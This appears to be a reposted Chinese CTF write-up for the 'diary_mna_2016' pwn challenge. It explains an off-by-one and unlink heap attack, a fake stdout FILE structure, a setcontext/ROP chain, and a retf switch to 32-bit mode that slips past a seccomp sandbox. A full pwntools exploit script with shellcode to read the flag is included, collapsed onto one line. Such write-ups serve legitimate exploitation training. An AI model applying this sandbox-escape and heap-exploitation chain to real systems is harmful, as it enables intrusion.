diary_mna_2016
生活随笔
收集整理的這篇文章主要介紹了
diary_mna_2016
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
diary_mna_2016
首先,檢查一下程序的保護機制
然后檢查一下沙箱機制,發現禁用了execve還有open函數,但是沒有堆sys_number的范圍進行判斷,因此,可以利用retf切換到32位模式繞過沙箱。
然后,我們用IDA分析一下,輸入函數存在off by one。
程序自己用鏈表實現了一個堆塊管理器。
其free功能使用的是unlink,將堆塊取出、合并等操作,但是缺少鏈表完整性檢查
?
這里,我們unlink不能直接將got表修改為system_addr的地址,因為這里unlink的操作,要保證fd和bk都為可寫的地址。因此,一個好的方法是設置fd為bss上stdout指針的地址-x10,設置bk為一個堆地址,這樣,unlink以后stdout指針被修改為一個堆地址,我們只需要在堆里偽造好_IO_2_1_stdout_結構體即可。
由于heap是使用mmap映射出來的,因此,其地址靠近lib地址
但是其地址與libc地址的偏移在本地和遠程是不一樣的,但是可以在一個范圍內爆破。爆破方法見我的這篇文章https://blog.csdn.net/seaaseesa/article/details/107072062。
#coding:utf8 from pwn import *#sh = process('./diary_mna_2016',env={'LD_PRELOAD':'./libc-2.23.so'}) #sh = remote('node3.buuoj.cn',26394) #sh = remote('127.0.0.1',8666) libc = ELF('./libc-2.23.so') #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') stdout_bss_addr = 0x00000000006020F0def add(index,size,content,line = True):sh.sendlineafter('>>','1')sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))sh.sendlineafter('size',str(size))if line:sh.sendlineafter('happened on',content)else:sh.sendafter('happened on',content)def show(index):sh.sendlineafter('>>','2')sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))def delete(index):sh.sendlineafter('>>','3')sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))def exploit(offset):add(1,0x200,'a'*0xFF)add(2,0x100,'b'*0xFF)add(3,0x60,'c'*0x10)add(4,0x120,'d'*0x10)add(5,0x60,'e'*0x10)delete(2)add(2,0x100,'b',False)show(2)sh.recvuntil('\n')heap_addr = u64(sh.recv(6).ljust(8,'\x00')) ^ ord('b')libc_base = heap_addr - offsetpop_rdi = libc_base + 0x0000000000021102pop_rsi = libc_base + 0x00000000000202e8pop_rdx = libc_base + 0x0000000000001b92pop_rax = libc_base + 0x0000000000033544jmp_rdi = libc_base + 0x000000000006caa4'''pop_rdi = libc_base + 0x0000000000021112pop_rsi = libc_base + 0x00000000000202f8pop_rdx = libc_base + 0x0000000000001b92pop_rax = libc_base + 0x000000000003a738jmp_rdi = libc_base + 0x000000000006cab4'''mprotect_addr = libc_base + libc.sym['mprotect']setcontext_x = libc_base + libc.sym['setcontext'] + 0x35print 'libc_base=',hex(libc_base)fake_file = p64(0) + p64(0)fake_file = fake_file.ljust(0x88,'\x00')fake_file += p64(heap_addr - 0x4D0)fake_file = fake_file.ljust(0xA0,'\x00')fake_file += p64(heap_addr - 0x3E8)fake_file += p64(pop_rdi)fake_file = fake_file.ljust(0xC0,'\x00')fake_file += p64(0xFFFFFFFF)fake_file += p64(0)*2#vtable指針fake_file += p64(heap_addr - 0x3F0 - 0x38)fake_file += p64(setcontext_x) #vtableshellcode_addr = heap_addr + 0x100#接下來布置rop,跳到shellcode里去fake_file += p64(shellcode_addr) + p64(pop_rsi) + p64(0x200) + p64(pop_rdx) + p64(0x7) + p64(mprotect_addr) + p64(jmp_rdi)delete(1)add(1,0x200,fake_file)#先調用read輸入32位shellcode,然后使用retf切換到32位模式,執行32位shellcodeshellcode = asm('''/*mmap*/mov r9d,0mov r8d,0xFFFFFFFFmov r10,0x22mov edx,7mov esi,0x1000mov edi,0x160000mov eax,9syscall/*write*/mov rax,0x3A7475706E69push raxmov rax,1mov rdi,raxmov rsi,rspmov rdx,6syscall/*read*/xor rax,raxxor rdi,rdimov rsi,0x160800mov rdx,0x100syscall/*retf*/xor rsp,rspmov esp,0x160700mov dword ptr[esp+4],0x23mov dword ptr[esp],0x160800retf''',arch="amd64")add(6,0x200,shellcode)delete(3)payload = p64(stdout_bss_addr - 0x10) + p64(heap_addr - 0x4D0)payload = payload.ljust(0x58,'c')payload += p64(0x68) #prev_sizepayload += p8(0x28)add(3,0x60,payload,False)#unlink修改stdout指針delete(4)shellcode = asm(shellcraft.open('./flag') + shellcraft.read(3,'esp',0x30) + shellcraft.write(1,'esp',0x30))sh.sendafter('input:',shellcode)for x in range(0xD0,0xFF):try:global sh#sh = process('./diary_mna_2016',env={'LD_PRELOAD':'./libc-2.23.so'})sh = remote('node3.buuoj.cn',26394)offset = 0x5 << 20 #remote offset=0x5ee500offset += x << 12offset += 0x500print hex(offset)exploit(offset)sh.interactive()except:sh.close()print 'trying...'?
總結
以上是生活随笔為你收集整理的diary_mna_2016的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 缓冲管理
- 下一篇: 电脑批量加入域控制器脚本